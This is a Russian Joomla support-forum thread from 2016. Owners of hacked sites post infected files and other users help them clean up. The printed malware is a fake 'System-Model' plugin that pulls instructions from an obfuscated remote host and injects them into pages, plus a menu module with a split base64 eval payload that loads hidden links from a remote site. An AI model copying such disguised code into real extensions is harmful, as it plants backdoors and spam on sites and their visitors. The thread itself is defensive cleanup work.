0 Пользователей и 1 Гость просматривают эту тему.
  • 20 Ответов
  • 2496 Просмотров
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Взломали сайт
« : 04.05.2016, 19:42:59 »
С утра перестали работать сразу 2 магазина с хорошими продажами и трафиком.
Переписка с саппортом хостинга ничего не дала. Сказали идут запросы на 217.12.214.248 и по таймауту 60 сек. сайт отваливается.

Обновление всех компонентов до последних версий ничего не дало, сайт так и не открывался.
Начал отключать все компоненты/плагины по очереди.

Когда дошел до System-Model плагина - сайт заработал.

Открываю настройки этого плагина:
Error. The file model.xml could not be found.

Открываю этот плагин через ftp /plugins/system/model/model.php

Код
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {

    function plgSystemModel(& $subject, $config) {
        parent::__construct($subject, $config);
    }
   
    function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
    }
   
    function onAfterRender() {
        $body = JResponse::getBody();
if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
   
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
    }
   
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
   
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
   
    function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet')!= '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
}
    }
   
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
   
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
    }
   
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>

Ссылка на http://mota8noy.com, по IP как раз 217.12.214.248.

Но дата создания этого файла и папки 2014 год, а до сегодняшнего дня никаких проблем не было.
Причем у меня стоит jSecure, доступа нет к админке.

Кто по коду может описать что этот файл делал?
*

Missile

  • Завсегдатай
  • 1098
  • 90 / 1
Re: Взломали сайт
« Ответ #1 : 04.05.2016, 19:52:02 »
Шаблончик варёзный?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #2 : 04.05.2016, 19:59:52 »
Шаблончик варёзный?
Нет, лицензионный HikaShop Business установлен на дефолтовый protostar.
*

voland

  • Легенда
  • 11031
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #3 : 04.05.2016, 20:32:45 »
И ни одного варезного модуля?
А версии какие?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #4 : 04.05.2016, 20:37:14 »
И ни одного варезного модуля?
А версии какие?
Варезный это взломанный или бесплатный? Взломанных нет. jSecure тоже лицензионный. Но Joomla 3.2.2, тут косяк конечно.
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт
« Ответ #5 : 04.05.2016, 20:58:08 »
3.2.2 2 критические уязвимости при использовании php 5.3, одна если повыше.
*

voland

  • Легенда
  • 11031
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #6 : 04.05.2016, 21:23:36 »
Но Joomla 3.2.2, тут косяк конечно.
Ну и зачем тогда темы создавать?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #7 : 04.05.2016, 21:40:00 »
Ну и зачем тогда темы создавать?
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть. Если вы сами этого не поняли.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
*

voland

  • Легенда
  • 11031
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #8 : 04.05.2016, 21:51:50 »
Вторая строчка в подписи.
3 месяца на форуме красными буквами висело.
Но да. Да здравствует энтропия
*

Missile

  • Завсегдатай
  • 1098
  • 90 / 1
Re: Взломали сайт
« Ответ #9 : 05.05.2016, 04:45:11 »
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть.
Делать нужно 2 вещи, в первую очередь:
1) Регулярно обновлять Joomla и все расширения.
2) Не пользоваться варёзом.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Таких тем за день бывает штук 10, потому что люди не выполняют требования п.п. 1 и 2. Качают "бесплатные" шаблоны и расширения, нашпигованные бэкдорами, а потом начинают кричать: "Что делать, сайт взломали!"
Серьёзно - вы думаете, что это "бесплатное" добро распространяют альтруисты, которые покупают расширения, а потом раздают их даром? Вот так люди и становятся донорами для чьих-то г*ссылок, участниками спамерской сети или частью ботнета.

В прикреплённых темах в разделе "Безопасность сайтов" всё прекрасно расписано. Что делать? Читать, думать, исправлять ошибки и мотать на ус.
*

SeBun

  • BanMaster
  • 4015
  • 259 / 5
  • @SeBun48
Re: Взломали сайт
« Ответ #10 : 06.05.2016, 16:22:09 »
@alikon1, как я понимаю, вы этот код удалили. Но шелл, через который все это вам написали, наверняка остался. Пройдитесь айболитом, может что то еще найдет. Если не будете нанимать специалиста для чистки, смотрите внимательно за сайтами. Запретите изменения тех файлов, в которых вы находите чужие скрипты, таким образом в error_log появится информация о том, кто или что эти записи делает и найти источник проблем. Возможно шеллов несколько. Установите какой нибудь скрипт контроля файлов по хешам (дата изменения легко подменяется), и запускайте его кроном. Ну и естественно обновите до актуальной версии.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #11 : 12.05.2016, 13:29:40 »
Уважаемые форумчане помогите взломали школьный сайт (pavl-school.ru) при обращении к нему пишет Gateway Timeout, написал письмо в RuCentr с просьбой выяснить что случилось, они написали что сайт взломан и обращается на левый IP и  сайт gene7conf.com который не существует т.к. я не спец в PHP я неделю уже бьюсь нашел зараженный файл, с помощью онлайн антивируса, нашел его там в конце всякие кракозябры но при удалении их или только строки echo eval(base64_decode($SystemJoCode)); сайт выдает ошибку 500. Помогите справится. Код прилагается.
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
 
if(!defined('OfflajnMenuBase')) {
  define("OfflajnMenuBase", null);

  class OfflajnMenuBase{
   
    var $_template;
   
    var $_module;
   
    var $_params;
   
    var $items;
   
    var $allItems;
   
    var $active;
   
    var $pointer;
   
    var $itemsCount;
   
    var $stack;
   
    var $level;
   
    var $endLevel;
   
    var $startLevel;
   
    var $improvedStartLevel;
   
    var $opened;
   
    var $openedlevels;
   
    function OfflajnMenuBase($module, $params){
      $this->_module = $module;
      $this->_params = $params;
      $this->endLevel = $params->get('endLevel', 1000);
      if($this->endLevel == 0) $this->endLevel = 1000;
      $this->startLevel = $params->get('startLevel', 0);
      $this->improvedStartLevel = $params->get('improvedstartlevel', 1);
      $this->opened = $params->get('opened', 2);
      $ol = $params->get('openedlevels', 0);
      if(!is_array($ol)){
        $ol = array($ol);
      }
      $this->openedlevels = array_flip($ol);
    }
   
    function generateItems(){
      $options = array();
      $this->allItems = array();
      $this->active = new stdClass();
      $this->items = array();
    }
   
  function getItems(){
      /*
      If COOKIE tracking enabled
      */
      if($this->opened == 3){
        foreach($_COOKIE AS $k => $v){
          if($v == 1 && strpos($k, $this->_module->instanceid)!== false){
            $val = (int)str_replace($this->_module->instanceid.'-'.$this->_module->navClassPrefix, '', $k);
        //print_r($this->allItems[$val]);
            if($val > 0 && isset($this->allItems[$val]) ){
              $this->allItems[$val]->opened = true;
            }
          }
        }
      }
     
      $this->filterItems();
     
    $root = 0;
  if(isset($this->active)){
        $i = $this->active->id;
    $stack = array($this->active->id);
    $el = $this->active;
        while($i > 0){
          $el = $this->allItems[$i];
          $i = $el->parent;
          $stack[] = $i;
        }
        $c = count($stack);
        if($c > 0){
          switch($this->_params->get('active', 1)){
            case 1:
              $this->allItems[$stack[0]]->active = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->active = true;
              }
              break;
          }
         
          switch($this->opened){
            case 1:
              $this->allItems[$stack[0]]->opened = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->opened = true;
              }
              break;
          }
        }
       
    if($this->startLevel > 0){
          if($this->improvedStartLevel){
            while($this->startLevel != 0){
              if(isset($stack[$c-$this->startLevel-1]) && isset($this->helper[$stack[$c-$this->startLevel-1]])){
                $root = $stack[$c-$this->startLevel-1];
                break;
              }
              $this->startLevel--;
            }
          }else{
            $root = -1;
            if(isset($stack[$c-$this->startLevel-1])){
              $root = $stack[$c-$this->startLevel-1];
            }
          }
        }
      }
     
      $p = new stdClass();
      if($root > 0 && isset($this->allItems[$root])){
        $p = $this->allItems[$root];
      }else{
        $p->id = $root;
      }
  return $this->getChilds($p, 1);
  }
   
    function filterItems(){
  $this->helper = array();
  foreach ($this->allItems as $item){
  if (!is_object($item)) continue;
    $item->p = false; // parent
    $item->fib = false; // First in Branch
    $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
    $item->active = false; // Active
  $this->helper[$item->parent][] = $item;
  }
    }
   
  function getChilds(&$parent, $level){
    $items = array();
    if(isset($this->helper[$parent->id])){
        $helper = &$this->helper[$parent->id];
        usort($helper, array($this, "menuOrdering")); // It can slow down the proccess. Not required every time... With this the process half as fast...
        $helper[0]->fib = true;
        $helper[count($helper)-1]->lib = true;
        if($level <= $this->endLevel){
          $i = 0;
          $keys = array_keys($helper);
          for($j = 0; $j < count($keys); $j++){
            $h = &$helper[$keys[$j]];
            $h->parent = &$parent;
            $childs =& $this->getChilds($h, $level+1);
            if(count($childs) > 0) $h->p = true;
            $h->level = $level;
            $items[] = &$h;
            $i = count($items);
            array_splice($items, $i, 0, $childs);
          }
        }
      }
      return $items;
    }
   
    function filterItem(&$item){
      $item->nname = '<span>'.stripslashes($item->name).'</span>';
    }
   
    function menuOrdering(&$a, &$b){
        return 0;
    }
 
  function render($template){
    $this->pointer = 0;
    $this->itemsCount = count($this->items);
    $this->_template = $template;
      $this->stack = array();
      $this->level = 1;
      $this->up = false;
      $this->renderItem();
      /*$level = 0;
      foreach($this->items as $item){
        include $template;
      }*/
    }
   
    function renderItem(){
      while($this->pointer < $this->itemsCount){
        $item =& $this->items[$this->pointer++];
        $this->filterItem($item);
        include $this->_template;
      }
    }
  }
}
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }
?>
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт
« Ответ #12 : 12.05.2016, 14:21:06 »
Цитировать
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }

Это код вызова скрытых ссылок, вам нужно удолять не только echo eval(base64_decode($SystemJoCode)); а всю функцию в которой она вызывается, также вам нужно еще найти где вызывается эта функция, если она не оббусифецирована то вызов ее будет таков AccordionMenuParGet();

Ну так полагаю эта малая часть из того что вам удалось найти...

P.S:
Если разобрать код в читабельный вид, то в нем прописано:
Цитировать
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #13 : 13.05.2016, 11:51:18 »
Проверил антивирусом Ai Bolit нашел 21 вредоносный или хакерский скрипт из них 17 в tmp эту папку я почистил но вот 4 файла они относятся к меню по совету я вычистил тот мусор что был указан и все равно при открытии сайта выходит ошибка 500, может я чего лишнего убираю (ну не знаю я PHP) ниже коды файлов. Один выложен выше.
menu.php
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined('_JEXEC') or die('Restricted access');
if(!defined('OfflajnJoomlaMenu')) {
  define("OfflajnJoomlaMenu", null);
  jimport('joomla.application.menu');
  jimport('joomla.html.parameter');
 
  require_once(dirname(__FILE__). DS .'..'.DS.'..'.DS.'core'.DS.'MenuBase.php');

  class OfflajnJoomlaMenu extends OfflajnMenuBase{
   
    function OfflajnJoomlaMenu($module, $params){
      parent::OfflajnMenuBase($module, $params);
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $this->parentName = 'parent_id';
        $this->name = 'title';
      }else{
        $this->parentName = 'parent';
        $this->name = 'name';
      }
    }
   
    function generateItems(){
      $options = array();
      $menu =& JMenu::getInstance('site', $options);
      $this->allItems = $menu->getMenu();
      $this->active =& $menu->getActive();
      $this->items = $this->getItems();
    }
   
    function filterItems(){
      $this->helper = array();
      $user =& JFactory::getUser();
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $aid = $user->getAuthorisedViewLevels();
      }else{
        $aid = $user->get('aid');
      }
      $menutype = $this->_params->get('joomlamenu');
      $ids = $this->_params->get('joomlamenutype');
      if(!is_array($ids) && is_string($ids)){
        $ids = array($ids);
      }
      if(!in_array(0, $ids) && count($ids) > 0){
        if(count($ids) == 1){
          $keys = array_keys($this->allItems);
          $newParent = $ids[0];
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if($el->{$this->parentName} == $newParent) $el->{$this->parentName} = 0;
            elseif($el->{$this->parentName} == 0) $el->{$this->parentName} = -1;
          }
        }else{
          $keys = array_keys($this->allItems);
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if(in_array($el->id, $ids)) $el->{$this->parentName} = version_compare(JVERSION,'1.6.0','ge')? 1 : 0;
            elseif($el->{$this->parentName} == (version_compare(JVERSION,'1.6.0','ge')? 1 : 0)) $el->{$this->parentName} = -1;
          }
        }
      }
      $keys = array_keys($this->allItems);
      for($x=0; $x < count($keys); $x++ ){
        $item = &$this->allItems[$keys[$x]];
        if (!is_object($item)) continue;
        $item->parent = version_compare(JVERSION,'1.6.0','ge') && $item->{$this->parentName} == 1 ? 0 : $item->{$this->parentName};
        version_compare(JVERSION,'1.6.0','ge')? $item->ordering = $x : 0;
        if ($item->menutype == $menutype && (is_array($aid)? in_array($item->access, $aid) : $item->access <= $aid) ){
          $item->p = false; // parent
          $item->fib = false; // First in Branch
          $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
          $item->active = false; // Active
          $this->helper[$item->parent][] = $item;
        }
      }
    }
   
       
    function filterItem(&$item){
      $item->cparams = new JParameter($item->params);
      if($item->type == 'menulink' || $item->type == 'alias'){
        $itemid = version_compare(JVERSION,'1.6.0','ge')?  $item->cparams->get('aliasoptions') : $item->cparams->get('menu_item');
        if(isset($this->allItems[$itemid])){
          $newItem = $this->allItems[$itemid];
          $item->link = $newItem->link;
          $item->ttype = $newItem->type;
          $item->id = $newItem->id;
        }else{
          $item->ttype = 'separator';
        }
      }else{
        $item->ttype = $item->type;
      }
      $item->nname = '<span>'.$item->{$this->name}.'</span>';
     
      $image = '';
      if ($this->_params->get('menu_images') && $item->cparams->get('menu_image') && $item->cparams->get('menu_image')!= -1) {
  switch ($this->_params->get('menu_images_align', 0)){
  case 0 :
    $imgalign='align="left"';
    break;
  case 1 :
    $imgalign='align="right"';
    break;
  default :
    $imgalign='';
    break;
  }
  $image = '<img src="'.JURI::base(true).'/images/stories/'.$item->cparams->get('menu_image').'" '.$imgalign.' alt="'.$item->alias.'" />';
  if($this->_params->get('menu_images_link')){
    $item->nname = null;
        }
  }
 
  if($this->_params->get('parentlink') == 0 && $item->p){
        $item->ttype = 'separator';
      }
     
  switch ($item->ttype){
  case 'separator' :
  $item->url = '';
  return true;
  case 'url' :
  if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
  $item->url = $item->link.'&amp;Itemid='.$item->id;
  } else {
  $item->url = $item->link;
  }
  break;
 
  default :
  $router = JSite::getRouter();
  $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
  break;
  }
  if ($item->url != ''){
  // Handle SSL links
  $iSecure = $item->cparams->def('secure', 0);
  if ($item->home == 1) {
  $item->url = JURI::base();
  } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?')!== false)) {
  $item->url = JRoute::_($item->url, true, $iSecure);
  } else {
  $item->url = str_replace('&', '&amp;', $item->url);
  }
 
  switch ($item->browserNav)
  {
  default:
  case 0:
  // _top
  $item->nname = '<a href="'.$item->url.'">'.$image.$item->nname.'</a>';
  break;
  case 1:
  // _blank
  $item->nname = '<a href="'.$item->url.'" target="_blank">'.$image.$item->nname.'</a>';
  break;
  case 2:
  // window.open
  $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
  $link = str_replace('index.php', 'index2.php', $item->url);
  $item->nname = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">'.$image.$item->nname.'</a>';
  break;
  }
  } else {
  $item->nname = '<a>'.$image.$item->nname.'</a>';
  }
    }
   
    function menuOrdering(&$a, &$b){
      if ($a->ordering == $b->ordering) {
          return 0;
      }
      return ($a->ordering < $b->ordering)? -1 : 1;
    }
  }
}
$OfflajnExtenParam = AccordionMenuParGet();
?>

theme.js
Код
var ThemeConfigurator = {};

dojo.declare("ThemeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.themeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'last');
   
   this.tpc = dojo.byId('themeparamcontainer');
   this.themeDetails = dojo.byId('theme-details');
   
   this.selectTheme = dojo.byId(this.selectTheme);
   this.savedindex = this.selectTheme.selectedIndex;
   dojo.connect(this.selectTheme, 'onchange', this, 'changeTheme');
   this.changeTheme();
  },
 
  changeTheme: function(e){
    this.theme = this.selectTheme.options[this.selectTheme.selectedIndex].value;
    if(this.theme == '' || this.theme == 'default') this.theme = 'default2';
    dojo.byId('theme-details').innerHTML = eval('this.themeParams.'+this.theme);
    eval(eval('this.themeScripts.'+this.theme));
    if(e != undefined && this.savedindex != this.selectTheme.selectedIndex)
      setTimeout(dojo.hitch(this, "changeSkin"), 500 );
  },
 
  changeSkin: function(){
    var el = dojo.byId('paramsthemeskin')? dojo.byId('paramsthemeskin') : dojo.byId('jformparamsthemethemeskin');
    el.selectedIndex = 1;
    changeSkinsthemeskin(el);
  }
 
});
type.js
Код
dojo.declare("TypeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.typeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'first');
   
   this.tpc = dojo.byId('typeparamcontainer');
   this.typeDetails = dojo.byId('type-details');
   
   this.selectType = dojo.byId(this.selectorId);
   dojo.connect(this.selectType, 'onchange', this, 'changeType');
   this.changeType();
  },
 
  changeType: function(e){
    this.type = this.selectType.options[this.selectType.selectedIndex].value;
    if(this.type == '' || this.type == 'joomla') this.type = 'joomla';
    dojo.byId('type-details').innerHTML = eval('this.typeParams.'+this.type);
    eval(eval('this.typeScripts.'+this.type));
  }
});

dojo.declare("JoomlaType", null, {
  constructor: function(args){
    dojo.mixin(this, args);
    this.list = dojo.byId(this.selectorId);
    this.select = dojo.byId("paramsjoomlamenu")? dojo.byId("paramsjoomlamenu") : dojo.byId('jformparamsmenutypejoomlamenu');
    dojo.destroy(this.select.options[0]);
    dojo.connect(this.select, 'onchange', this, "changeList");
    this.defaultMenu = this.select.options[this.select.selectedIndex].value;
    this.changeList();
  },
 
  changeList: function(e) {
      var type = this.select.options[this.select.selectedIndex].value;
      this.list.innerHTML = this.data[type];
      if (type!=this.defaultMenu && e && e.currentTarget == this.select) this.list.selectedIndex = 0;   
      if(e == undefined) this.list.selectedIndex = 0;
  }
});
С утра голову ломаю.  !
 
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #14 : 13.05.2016, 13:19:45 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт
« Ответ #15 : 13.05.2016, 14:40:28 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*

Сколько сайтов на аккаунте и какие версии Joomla?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #16 : 16.05.2016, 11:30:34 »
Сайт 1? Joomla! 2.5.28
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт
« Ответ #17 : 16.05.2016, 12:08:25 »
Патч безопасности стоит?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #18 : 17.05.2016, 08:37:38 »
Нет и обновить Joomla до 3 версии не могу
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт
« Ответ #19 : 17.05.2016, 08:57:32 »
Ну надо поставить и чистить. Еще бы неплохо список расширений знать. У меня еще один сайт на Joomla 1.5 есть и нормально работает.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали сайт
« Ответ #20 : 17.05.2016, 13:45:15 »
У меня еще один сайт на Joomla 1.5 есть и нормально работает.
У нас десятки и работают))
Дело не в версии.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

Ответов: 4
Просмотров: 168
Последний ответ 26.03.2024, 18:51:10
от wishlight
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

Ответов: 9
Просмотров: 1639
Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

Ответов: 0
Просмотров: 630
Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

Ответов: 9
Просмотров: 1427
Последний ответ 19.07.2020, 23:57:17
от wishlight
[Руководство] Как защитить сайт на версии 1.5 (не поддерживается разработчиками)

Автор flyingspook

Ответов: 13
Просмотров: 5827
Последний ответ 08.01.2020, 12:52:55
от winstrool